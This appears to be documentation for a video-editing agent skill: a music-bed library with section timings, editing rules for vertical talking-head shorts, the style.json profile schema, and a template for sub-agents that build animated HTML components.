| Impressed by new tech | Arpège sombre |
| Like building something | Code noir |
| Time pressure ("who wins?") | Compte à rebours |
| Excited | Néon |
| Thoughtful | Enquête (never Sonar, rejected 2026-10-21) |

Tie-breakers:

- **Voice density:** a fast, dense talker goes one step calmer (Enquête; Sonar is rejected under a voice). A sparse voice with lots of paper can take one step more (Code noir, Néon).
- **Rotation:** never use the bed of the previous short again. Check the last few:
  ```bash
  ls -t <shorts folder>/*/source/spec.js | head -5 | xargs grep -hoE "bed: '[a-z-]+'|music/[a-z-]+\.mp3"   # <shorts folder> = folders.shorts of the profile
  ```
- **Say which bed you picked and why** in one line when you hand the short over, so the creator can swap it.

## Pick the moment (`offset`)

Every bed follows the same arc:

1. `intro`, 4 sparse bars.
2. `a`: the pulse or bass comes in.
3. `b`: the fullest groove before the break.
4. `brk`: drums and bass drop out (8 bars, 4 for arpege and sonar).
5. `c`: everything, plus a high layer.
6. `out`.

Times are seconds into the FILE:

| id | a | b (what enters) | brk | c | out |
|---|---|---|---|---|---|
| enquete | 10.7 | 42.7 (heartbeat, keys) | 85.3 | 106.7 | 138.7 |
| arpege | 10.0 | 40.0 (kick) | 80.0 | 90.0 | 130.0 |
| filature | 10.4 | 41.7 (vibraphone, hats) | 83.5 | 104.3 | 135.7 |
| compte-a-rebours | 9.6 | 38.4 (piano, impacts) | 76.8 | 96.0 | 134.4 |
| sonar | 12.0 | 48.0 (arpeggio) | 84.0 | 96.0 | 132.0 |
| code-noir | 9.8 | 39.2 (kick, hats) | 78.4 | 98.0 | 137.1 |
| thriller | 11.4 | 45.7 (piano) | 80.0 | 102.9 | 137.1 |
| neon | 9.2 | 36.9 (kick, hats) | 73.8 | 92.3 | 138.5 |

`offset` is in FILE seconds. P and E below are SHORT seconds: the short-time column of `files/words.md`.

- **Default:** `offset` = the `a` time. A short has no room for a 10 s intro, so the pulse should already be there on frame 1. `b` then lifts the energy about 30 s in, where most shorts need it.
- **One big payoff** (reveal, verdict, number, CTA) at short time P: set `offset = c - P`. The break then opens a 10 to 20 s pocket of air just before P, and the full section lands on the payoff. Best with Compte à rebours, Néon and Code noir.
- **A full-camera emotional line** at short time E: set `offset = brk - E`. The drums leave exactly when the creator talks to the lens.
- **Never pass `out`:** keep `offset + short length` under that track's `out` time. Past it the bed thins out and loops back to its intro.
- The audio step fades the bed in over .4 s and out over the last 1.2 s, and ducks it under the voice. Leave `mix` at its defaults (bed -28 LUFS, duck .5, master -14).

## Regenerate or extend

- **The masters** in `assets/music/` are the exact files that were picked by ear. If they disappear, run `node <skill>/engine/music.mjs` (run it in the background). It renders `LIBRARY` (in `music.mjs`) at seed 11 back into `assets/music/`.
  - It gives the same notes and arrangement.
  - Noise textures (hats, wind, plucks) come out as a different take, because the masters predate the per-render noise seed.
  - Renders are reproducible since that seed: same id and seed give the same bytes.
- **A new style** goes in `engine/lib/chill-styles.js`, in the section "tension, in the vein of enquete and arpege".
  1. Render it to a scratch dir: `node music.mjs <id> --out <dir>`.
  2. Let the creator listen.
  3. Only after they keep it, add the id to `LIBRARY` and a row in both tables here.
- **Styles left in the code but not kept:** these are not for shorts by default.
  - chill: `lofi-nuit`, `nappe`, `piano-feutre`, `dub`, `trip-hop`, `nostalgie`, `bali`, `jazz-feutre`
  - tension: `labo`, `nuit-blanche`
  - `node music.mjs --all --out <dir>` renders all 18.

# The edit style

One take of a person talking, turned into a fast, clean short that holds attention with the sound off. The same rules every time, so a creator can post daily. The colors, fonts, captions, grade and pace come from the creator's style (`video-agent/styles/<name>/style.json`, keys in [style-schema.md](style-schema.md), starting looks in `assets/looks.json`); a rule written in the style's `notes` wins over this page.

## Cuts

| Rule | Value | Why |
|---|---|---|
| Silences | every micro silence is cut by `prepare` (`tighten`) | dead air is where people swipe |
| Retakes | keep the last complete attempt of a line, drop the earlier ones with `cut: [[a, b]]` | creators repeat a line until it sounds right |
| False starts | drop a half word or "uh" right before a restart, the opening one included: a line said twice at the start (`J'ai testé tous les… j'ai testé tous les scripts`) starts the short at the second one | |
| Start | the first kept word is the first word of the hook | no breath, no "ok", no look at the camera before |
| Hidden retakes | whisper can still merge a retake: a word lasting over ~0.6 s, a repeated phrase, or a word that makes no sense (`clics cloud`) marks one. Listen to that spot (`ffmpeg -ss a -t 4`), or re-run `words` with an ElevenLabs key, and cut it; never patch it with `captions.replace` | the short must start clean |
| Off-script talk | drop "wait", "let me redo that", asides to someone in the room | |
| Speed | 1.15 (pitch kept), `pace.speed` of the style | no slack between sentences |

## The views (`layout.keys`)

| seam | what's on screen | when |
|---|---|---|
| **1160** split (default) | the paper on top with one board, the camera card below | most of the short |
| **1920** paper | the camera leaves, one big board takes the frame | the big moment: the key number, a screenshot, a component |
| **0** full camera | the face fills the frame | a story, an emotion, a punchline, the CTA; 5 s of short time or more |

- A style with a fixed `layout.seam` keeps the camera card at that size for the whole short.
- The window card plays on its own between split and full camera; never fake it with a slide.

## Boards

- One every 2 to 4 s while the person explains, each on the exact word it illustrates. Boards **illustrate**, they never paraphrase: a number, a command, a folder, a logo, a before/after, a real screen. 2 to 4 words of text at most.
- The items (all in [scene-library.md](scene-library.md)): `text` with an `emph` word, `counter`, `term`, `tree`, `logo`, `check`, `chip`, `screen`, `bar`, `img`; whole scenes `tweet`, `stat`, `bars`, `title`, `cta`, `overlay` (a captured HTML component).
- A named tool always shows its real logo. Never emojis as logos, never stock illustrations.
- Vary them: never three text boards in a row.
- No slanted or wobbling text, no text on the face.

## Hook

- The first 2 s, readable on frame 0, never blank paper.
- 6 words or fewer, one accent word, never the same words as the spoken hook (it adds to it).
- Something already moving: a terminal typing, a counter running, a component in action.

## Captions

- 1 to 3 words at a time, as spoken, on the seam in split view. The style picks the look (`captions.style`: `rise` = the word said on an accent block that blurs in, `hard` = hard shadow, ...).
- `captions.emph` = the accent words, `captions.hide` = off while a board shows the same words.

## Sound

- Voice about -14 LUFS, true peak under -1 dBTP (`final` checks it).
- One calm bed from the library ([music.md](music.md)), under the voice, breathing between sentences.
- Hits only on real payoffs: a `thud` when a number lands or dies, a quiet `pop` on a real arrival. No whooshes, no clicks, no paper slides (`sfx: { swish: 0, accents: 0 }`). Bigger hits (the hook cut, the payoff) come from the bundled library: [sfx.md](sfx.md).

## CTA

"Comment GUIDE and I'll send it": full camera, the Instagram (or TikTok) comment sheet as an HTML overlay with the word typed in, then the DM notification (copy `examples/thinking-orbs/source/ig-cta.html`). The handle and avatar are the creator's.

## Safe zone

Text stays between y 170 and y 1500 and clear of the right 220 px from y 1100 down ([shorts-codes.md](shorts-codes.md)).

# Creator profile: style.json

In this free pack the profile folder is `<project>/video-agent/` (it plays the role of `.short-editing/` below): `video-agent/styles/<name>/style.json`, edited by hand. `profile.mjs` and `preview.mjs` belong to the paid kit; check a change with `short.mjs stills`.

`<project>/.short-editing/styles/<name>/style.json`: one per style, the default one included; `<project>/.short-editing/style.json` only names the default, `{"default": "<name>"}` (an older profile keeps its default style right there). LOCAL only, the nearest `.short-editing/` from cwd up (home folder excluded, `$SHORT_EDITING_HOME` forces one). Never `~/.short-editing/`. Written only through `scripts/profile.mjs set [--style <name>]` (validates, backs up to the style's `history/`, rewrites its `STYLE.md`). Every key is optional: a missing key keeps the engine default.

Layer order at render: engine defaults < `<project>/source/style.json` (snapshot copied by `short.mjs init`) < the project's `spec.js`. A spec value always wins, and a short made before a profile change keeps its old snapshot.

## Full example

```json
{
  "version": 1,
  "name": "Craft",
  "creator": {
    "name": "Léa", "handle": "@lea.ia", "lang": "fr",
    "niche": "IA et productivité pour les indépendants, 25-40 ans",
    "cta": { "sub": "Plus de tests IA", "button": "S'abonner", "done": "Abonné" }
  },
  "colors": { "paper": "#EFE7DA", "ink": "#1F1A17", "accent": "#E8590C" },
  "font": { "family": "Satoshi", "src": "~/my-project/.short-editing/fonts/Satoshi-Variable.ttf" },
  "paper": { "grain": 1 },
  "captions": { "style": "pill", "size": 84, "weight": 800, "maxWords": 3 },
  "pace": { "speed": 1.15, "tighten": { "sentence": 0.08, "comma": 0.05, "word": 0.03, "lead": 0.03, "tail": 0.8 } },
  "visual": "mix",
  "music": { "bpm": 112, "drive": false },
  "mix": { "music": -28, "sfx": -28.5, "duck": 0.5 },
  "folders": { "aroll": "~/Movies/A-roll", "broll": ["~/Movies/B-roll", "~/Pictures/Screens"], "shorts": "~/Movies/Shorts" },
  "camera": { "w": 1920, "h": 1080, "crop": [360, 0, 1200, 1080], "eyes": [600, 380] },
  "images": { "provider": "codex", "model": null, "style": "flat editorial illustration, soft paper texture", "palette": true },
  "notes": ["Jamais de B-roll stock générique", "Toujours un chiffre clé en grand dans les 5 premières secondes"]
}
```

## Keys

| Key | Values | Used by |
|---|---|---|
| `version` | `1` | |
| `name` | label of the style ("Craft", "Night") | STYLE.md |
| `creator.name` | name on the CTA card | `cta` scene (`withStyle`) |
| `creator.handle` | `@handle`, no spaces | preview hook chip, agent copy |
| `creator.lang` | ISO code `fr`, `en`, `es`... | `short.mjs words` (transcription language), default CTA words, agent copy |
| `creator.niche` | one sentence: topic and audience | agent (hooks, titles, examples) |
| `creator.cta.sub` / `button` / `done` | CTA card texts. Missing ones default by `lang` (fr: "Plus de vidéos", "S'abonner", "Abonné"; en, es, pt, de, it built in) | `cta` scene |
| `colors.paper` / `ink` / `accent` | hex. Everything else (sheets, grays, lines, accent dark and tint) derives from these. Optional pins: `sheet`, `ink2`, `ink3`, `line`, `dim`, `accent2`, `tint`. `onAccent`: text color on the accent (caption blocks, `blue` chips, accent labels), default ink on a light accent and white otherwise. `pop`: a second label color (board `label` with `bg: 'pop'`, default ink), e.g. the podcast violet next to its yellow accent | `kit.setTheme` |
| `font.family` | CSS family. Built in: `Inter`. A system font works on this Mac only; for anything else give `src` | every text |
| `font.src` | `.ttf` / `.otf` / `.woff2`, copied into `$SHORT_EDITING_HOME/fonts/` by `profile.mjs font` | served as `/style-font` |
| `paper.grain` | 0 (flat) to 1.5, default 1 | paper texture |
| `paper.tooth` | 0 (none, default) to 1.5: embossed paper relief (fine tooth + soft waves of a real sheet) | background, sheets |
| `paper.toothCell` | tooth bump size in px, default 2.5; 1 to 1.5 = a crisp fine tooth instead of a soft stucco | background, sheets |
| `paper.waves` | 0 to 1.5, defaults to `tooth`: the large soft cockle of a real sheet (0 = off, it reads as blur on 16:9) | background |
| `paper.mottle` | 0 to 1.5, defaults to `grain`: the large soft light/dark blotches (low = crisp grain and fibers only) | background, sheets |
| `paper.depth` | 0 (flat) to 2, default 1: every shadow scales with it; above 1 adds an ambient shadow, a contact line, sheets lit from above and a key light on the paper | shadows, sheets, captions, seam |
| `paper.bg` | `paper` (default, textured sheet), `clean` (flat light gradient + a soft accent glow) or `flat` (the paper color alone, no grain, relief or vignette: a solid color background like the nico-slowdown orange) | background |
| `paper.dots` | `true` or `{pitch, r, alpha, color}` (40 px, 2 px, .07, white), `bg: 'flat'` only: a faint dot grid over the flat color, centered on the frame (a dark dotted UI panel over the camera) | background |
| `paper.shadow` | `'r,g,b'` tint for every shadow and hairline, e.g. `'16,40,64'` (cool) for the clean look | shadows |
| `layout.frame` | `true` or `{m, gap, bottom, r, border}`: in split the camera is a framed photo pinned on the paper (margins, rounded corners, white border, deep shadow); the window moves grow it to full screen | layout |
| `layout.seam` | a number (e.g. `1240`): the camera card keeps ONE size for the whole short. `init` writes `layout.keys: [[0, <seam>]]` in the starter spec; never add a move between two seams or a `zoom.keys` punch-in. Only 1920 (camera hidden) or 0 (full camera) when the style notes allow it | init, layout |
| `grade` | e.g. nico-slowdown's moody look `"eq=contrast=1.08:saturation=0.95:gamma=0.97,vignette=angle=PI/3,unsharp=5:5:0.6:5:5:0"`; `true` (default grade fitted to the take's face exposure: a dim room gets brighter, less saturated, solid blacks; a well lit take keeps its exposure, only less orange and a bit less saturated; a touch of clarity) or an ffmpeg filter chain; baked into the camera at `prepare` | grade |
| `layout.card` | `true` or `{x, y, w, h, r, zoom, bias, capY}`: the camera in one fixed rounded card at the bottom, stage on top (clean `slide` scenes) | layout |
| `header` | `{brand, mark, tagline}`: a heavy italic wordmark top left (mark in the accent) and a gray tagline top right, on every frame of a card layout | header |
| `captions.style` | one of `sticker pill box caps karaoke underline serif chip highlight outline punch light split tiles tilted typing accent stacked brackets bar clean rise hard stack band dim`, or 1 to 26 (board order). `dim` (speedy-devv): the phrase builds word by word on centered lines, spoken words in `captions.color` at `captions.dimWeight` (500), the current word in `captions.hi` at `captions.weight`, an `emph` word keeps a full-radius dark pill (`captions.pill`, default `#2B2B2B`) once said, each word blurs in. `band` (justyn-ai): the whole line on one flat block (`captions.bg`, default ink) in `captions.font` / `weight`, words white (`captions.color`), `emph` words in `captions.hi` (default the tint), hard in and out, no motion. `captions.bg: 'none'` (aiwithremy): no block at all, the white words sit on the video with a soft shadow (`captions.shadow: false` drops it), e.g. small lowercase Geist Pixel on the chest. `rise` and `hard` are block looks: the word being said sits on an accent block (`rise` blurs it in, sharp in ~.15 s, and fades it out in place, `hard` fades it in and out with a hard ink offset shadow); in split the line sits on the paper just above the camera (ink words), full screen on the video (white words). `captions.block: false` (rise only): no accent block, each white word appears when said and blurs in on its own (benkimball.ai). `stack` (nico-slowdown): full camera = a column of small bold words on short staggered lines with the key word huge in condensed Archivo 900 caps, white with a soft shadow, words popping in as said; paper only = the same column centered; split = only the word being said, on a white label straddling the seam (keys below) | live captions |
| `captions.big` / `stretch` / `smallW` / `stagger` / `fullY` / `paperY` / `margin` / `color` | `stack` only: key word size as a multiple of `size` (3.2), its `font-stretch` (`extra-condensed`), max line width of the small words (380), horizontal stagger of the small lines (70), center y of the column on full camera (760) and on paper (960), side margin (90), word color (`#FFFFFF`) | live captions |
| `captions.labelFont` / `labelWeight` / `labelSize` | `stack` only: the split label (word being said, accent on a white rect at the seam), default the captions font, 500, `size` | live captions |
| `captions.size` | 32 to 130 px, default 84 (the style's own base, e.g. 42 for `clean`) | live captions |
| `captions.weight` | 300 to 1000, default 800 (`rise` 900, `hard` 800) | live captions |
| `captions.font` | CSS family for the captions only. Default: `font.family`, except `rise` (DM Sans) and `hard` (Bricolage Grotesque). Built in: Inter, DM Sans, Bricolage Grotesque, Archivo, Archivo Black, Poppins (600 only), Bowlby One SC (400 only, heavy wide small caps: lowercase letters draw as small capitals), Geist Pixel (the Square pixel cut of Geist, 400 only, monospaced bitmap look, aiwithremy captions) | live captions |
| `display.font` / `display.weight` | family and weight of the big numbers: board `counter`, `stat` values, `depth` texts and board texts of 100 px and more, e.g. `Archivo Black` / 400 (a single-weight face). Unset = Inter 800 | `kit.D` |
| `display.text` | family of the other board texts and counter units, e.g. `Archivo` | `kit.D` |
| `display.title` | color token for board texts of 64 px and less that set no color, e.g. `ink2` | `kit.D` |
| `display.flat` | `true` = drops the emboss of `depth` texts and counters (flat ink faces; counter suffix and unit stay in the accent) | `kit.D` |
| `captions.tracking` | letter spacing in em of `size`, e.g. `-.08` to tighten a monospaced face (Geist Pixel for aiwithremy's proportional pixel captions); default -.012 em for block looks, -1.5 px otherwise | live captions |
| `captions.space` | word gap as a multiple of the font's own space, e.g. `.6` for a pixel font whose space is too wide (aiwithremy); default 1 | live captions |
| `captions.bold` | `band` captions: faux bold for a single-weight face, a square stroke in the text colour of `bold` x `size` px, e.g. `.05` to thicken Geist Pixel into aiwithremy's chunky pixel captions | live captions |
| `captions.upper` | every caption word in capitals (any style), e.g. black Geist Mono chips | live captions |
| `captions.radius` | `band` captions: corner radius of the block as a multiple of `size` (default `.06`; `.2` = a rounded chip) | live captions |
| `captions.shadow` | `band` captions: `true` drops a soft shadow under the block (with `bg: 'none'`, `false` removes the shadow under the bare words) | live captions |
| `captions.maxWords` | 1 to 8 words per chunk, default 3 | caption chunking |
| `pace.speed` | 0.9 to 1.4, default 1.15 | timeline |
| `pace.tighten` | breath kept after a `sentence` / `comma` / `word`, and `lead` / `tail` (seconds) | timeline |
| `visual` | default visual mode: `motion` (motion design), `broll` (own footage full screen), `mix`; `ask` (old value) and absent = `motion`. Never asked: `/short-editing broll <source>` forces B-roll for one short | agent, STYLE.md |
| `music.bpm` | 60 to 180, default 112 (generated score, only for drum drops or a tape stop; the bed itself comes from the library, `spec.music.bed`) | score |
| `music.drive` | `true` = four-on-the-floor, punchier | score |
| `music.src` / `offset` | own track (mp3, wav, m4a) and start point in it (s). Replaces the generated bed, looped, ducked | `audio.mjs` |
| `music.mute` | `true` = no music | `audio.mjs` |
| `music.dropOn` / `dropLen` / `dropDepth` | `'punch'` / `'cut'` (or both): the bed drops out .3 s to 6 % under every punch-in / hard cut | `audio.mjs` |
| `sfx.kit` | `{cut, pop, punch, gain: {cut, pop, punch}, gap}`: sound files (project-relative, ship them in the style's `assets/sfx/`, `init` copies them) played automatically on every cut, sticker / logo entrance and punch-in | `audio.mjs` kitHits |
| `zoom.drift` | e.g. `.008`: slow push per shot (0.8 %/s, restarts on each cut and punch; 2 %/s read as aggressive) | `runtime.js` |
| `zoom.wideOnly` | `true`: only the wide shots push (keyed zoom 1.02 or less), the punched-in shots hold still | `runtime.js` |
| `captions.outline` | `{color, width: .07, until}` (stack captions): the hook's big words get a thick colored outline, until source `until` (default the first chunk's end) | `runtime.js` |
| `captions.zoomDrop` | px (e.g. 320) per 1x of zoom: the full-camera stack slides down on a punch-in so it stays under the mouth | `runtime.js` |
| `captions.tall` / `smallDisplay` / `snap` / `paperBig` | `stack` only: vertical stretch of the letters (1.5 = Nico's tall poster caps), small words in the same condensed display face (`true`), each word cuts in whole on its start with no fade (`true`), and on bare paper the words pack into full-width poster lines at `paperBig` x `size` (4.6) instead of one big word per line | `runtime.js` |
| `cuts` | `'hard'`: every board, cutout and full-screen B-roll appears and leaves in one frame (a straight cut, no .26 s fade out, the next board does not wait); a scene, cutout or B-roll opts out with `hard: false` | `runtime.js`, `scenes.js` |
| `mix.music` / `mix.sfx` | -45 to -10 LUFS (defaults -28 / -28.5) | mixer |
| `sfx.accents` | 0 to 1.5 (default 0 = off) | a few glassy blips on key moments (logo or icon landing, blue bar full, speaker tag, strike), at most one every `sfx.accentGap` s (default 1.5) |
| `mix.duck` | 0 to 1, how much the music dips under the voice (default 0.5) | mixer |
| `folders.aroll` | folder of talking-head takes | `init --source latest` (newest video there) |
| `folders.broll` | folder or list of folders of B-roll (own footage, screen recordings, photos), indexed into `broll/broll.db` | `broll.mjs scan`, agent |
| `folders.shorts` | where new short projects go (`<folder>/short-<slug>/`) | agent |
| `camera` | `{w, h, crop: [x, y, w, h], eyes: [x, y]}` for takes of that size, from `profile.mjs camera <take>` | `init` (other sizes: face detection) |
| `images.provider` | `auto` (codex, then openai, then gemini, whichever works), `codex`, `openai`, `gemini`, `none` | `engine/images.mjs` |
| `images.model` | provider model override (openai default `gpt-image-2.5-flare`, gemini `gemini-3.1-flash-image`) | `images.mjs` |
| `images.style` | style suffix added to every prompt | `images.mjs` |
| `images.palette` | `true` (default): the profile colors are named in prompts | `images.mjs` |
| `notes` | list of short rules the agent follows in every short | STYLE.md, agent |

Keys: `ELEVEN_KEY` (transcription), `OPENAI_API_KEY`, `GEMINI_API_KEY` live in `$SHORT_EDITING_HOME/.env` (mode 600), never in style.json.

## Validation

`profile.mjs set` refuses a write with an error (bad hex, out-of-range number, unknown caption style, missing font or music file, bad camera shape, unknown image provider). It saves with warnings for weak contrast (ink on paper under 7, text on the accent under 3, accent on paper under 2.2: fine for a light accent like yellow used only as a fill, never as text on the paper) and folders that do not exist yet.

# Sub-agents: motion components in parallel

The main session is the supervisor. It runs on the strongest model, plans the beats, owns `spec.js` and runs every engine step. Each sub-agent builds ONE motion component, all of them at the same time, so a short full of custom UI takes the time of its slowest component instead of the sum of all of them.

## Who does what

| | supervisor (main session) | sub-agent (one per component) |
|---|---|---|
| reads | words, transcript, style, the whole spec | only its prompt and the files it names |
| writes | `source/spec.js` (the only writer), `About.md`, `Roadmap.md` | `source/<name>.html`, `assets/<name>.mov` or `.mp4`, `stills/<name>-*` |
| runs | `prepare`, `stills`, `render`, `audio`, `final`, the studio | `short.mjs capture` on its own page only |

A sub-agent never edits `spec.js`, `style.json`, the engine or another component's files, and never runs `prepare`, `render`, `audio` or `final`. A sub-agent cannot launch its own sub-agents: an agent that edits a whole short (`video-editing-agent`) builds its components itself, one after the other, with this same template.

## What is a component

Anything the scene library cannot draw well, written as an HTML page and turned into a clip by `short.mjs capture`:

- a real app played in its own UI: a terminal typing a command, a chat answering, the Instagram comments of a CTA, a dashboard filling, a phone notification. A finger or a cursor does the actions. Every UI and motion design text (titles, labels, tags, counters included, captions excepted) uses the Apple system font (`"SF Pro"` first, `"SF Mono"` for monospace, never `-apple-system` alone), in its Text cut (`font-variation-settings: "opsz" 17`, letter-spacing 0, only titles of 60 px and up keep the Display cut), see design-system "Type";
- a software idea played in a recreated UI that acts: code that scrolls then blacks out line by line, a lock that closes, a price that drops to 0 under a stamp; a platform named with a number in its real interface (the GitHub repo page, its stars curve, the Star button filling);
- the hook's mini story: 2 or 3 acts with a reversal, several layers, an impact on each keyword, the payoff as a badge (e.g. the big apps crush the viewer's app under a REPLACED stamp, the story flips on the turning word, the viewer's app becomes the giant);
- a fun illustration that acts: a mascot, an object or a character that does something, with a new action every 2 to 3 s;
- a chart or a diagram, drawn and animated in code (a curve that draws, bars that fill), never a still.

A component never pastes a screenshot or a generated image as the beat (the creator 2026-10-21: source code = motion design, never an image). A screenshot is a reference to rebuild in HTML; a generated illustration is a layer that moves and acts inside the page.

The engine-native beats (cards, tiles, counters, `term`, texts, `board`) stay with the supervisor: writing them in `spec.js` is faster than a round trip.

## The supervisor's loop

1. Read `files/words.md` and plan every beat (SKILL step 3).
2. List the components. For each one, write down:
   - the beat id;
   - its SHORT start and end;
   - its size: `1080x1920 --alpha` for an `overlay` over the camera, the card's own size for an actor on the paper;
   - the spoken words over it with their τ (short time of the word minus the component's short start);
   - the assets it needs (logos in `assets/logos/`, the avatar, a reference image of a real UI to rebuild: never an image to paste).
3. Launch one sub-agent per component in ONE message: several Agent calls, each in the background, general-purpose type. Leave out the model so they run on the supervisor's model. Up to about 6 at a time; past that, give one agent 2 small components.
4. While they work, write the engine-native beats, run `prepare`, then stills on those beats.
5. When a report lands, wire the clip in:
   - add `media: { <id>: { src: 'assets/<name>.mov', width: 1080, alpha: true } }` plus an `overlay` scene, or an actor with `media` for a card;
   - turn each reported event τ into `sfx.extra` (short time = component start + τ, then back to source time through `words.md`);
   - rerun `prepare` (the media cache follows the file, so a recaptured clip is picked up), then stills on that beat.
6. To fix a component, send a message to the same agent (it keeps its context and its page). Never start a new agent for a fix.
7. On a review round, use one agent per comment that needs a new or reworked component. The supervisor applies the cut, text and timing comments itself.

## Prompt template (one per component)

The agent sees nothing of the conversation: fill every `<...>` with real values and absolute paths.

```text
You build ONE motion component for the short <slug> (<absolute project path>). Skill engine: <absolute skill path>/engine/short.mjs.

Where it plays: <over the full-screen camera, transparent, full frame 1080x1920 | as a card on the paper, W x H>, from short time <a> s to <b> s (<dur> s).
The beat: <what happens on screen, action by action, and what the viewer must feel>.
Voice over it, τ = seconds since the component starts:
<τ  word, one per line or as "0.00 Ton, 0.12 monteur, ...">
Leave free: <the caption band, e.g. y 1180 to 1420, and the face if it is over the camera>.

Look: font family "<style.json font.family>" for every text (display: "<display.family> <weight>"), paper <colors.paper>, ink <colors.ink>, accent <colors.accent>. Creator notes that apply, copied word for word from STYLE.md: <the style's originality and motion-design notes, always, plus the lines that matter here>. Never restate a caption, font or music rule from memory: the style owns them.
Assets: <real logos and images, paths relative to the HTML>.

Build:
1. <absolute project path>/source/<name>.html, a <W>x<H> page, <transparent background | its own background>. Every visual state is a pure function of t in window.setT(t) (seconds since the start): no CSS transitions or animations, no timers, no requestAnimationFrame, no Date. Ease with springs that never overshoot: S(x, w) = 1 - (1 + w x) e^(-w x). Fonts by family name (the engine loads Bricolage Grotesque, DM Sans, Inter, JetBrains Mono, Archivo, Instrument Serif); images by a path relative to the HTML.
2. Capture: node <engine>/short.mjs capture <project> source/<name>.html --dur <dur> <--alpha | --size WxH> --at <τ of the key moments, comma separated>
   It writes assets/<name>.mov (alpha) or .mp4 and stills/<name>-sheet.jpg.
3. Read the sheet, then zoom the full frames that matter. Fix and capture again until the bar below passes. At least 2 rounds.

Bar:
- It acts: every second shows an action (typing, scrolling, a curve climbing, a lock closing, a stamp landing), never a still image sitting on the frame. On each sheet ask « is something happening, or is it an image sitting there? ».
- It looks like the real app (its layout, icons, colors and type), never a generic card. Real logos only, never a letter glyph.
- A hook component is the most ambitious clip of the short: 2 or 3 acts with a reversal, several layers moving together, an impact on each keyword (its event in the report, a thud), the payoff as a badge. One object that slides is not a hook.
- Something moves every .5 to 1 s, a new action every 2 to 3 s, each action lands on the word that says it.
- Entries stagger and ease in; nothing pops, bounces or overshoots; nothing jitters between two frames.
- Every text is 34 px or more at 1080 wide; important content stays inside x 60 to 940, y 220 to 1500.
- Over the camera: the face stays visible and keeps its colours, except where the beat covers it on purpose. Never a full-frame dim over the face (8 % black at most, e.g. under an opening sheet: a 26 % veil turned the creator's face brown); a dark scrim only behind text, at an edge.
- No em dash in any text.

Do not touch any other file (not spec.js, not style.json, not the engine, not another component). Never run prepare, render, audio or final. Delete with trash, never rm -rf.

Report, short: the clip path and its duration; the event list as "τ  what (tap, type, post, notification, impact)  sound it wants"; the sheet path; anything you are unsure about.
```

## Example

A comment CTA: `source/ig-reel.html` draws the Instagram Reels UI over the full-screen camera. A finger taps the comments, the word is typed and posted, then the DM notifications drop in. `capture --alpha` turns it into `assets/ig-reel.mov`, the supervisor wires it as an `overlay` scene and puts its taps and posts in `sfx.extra`.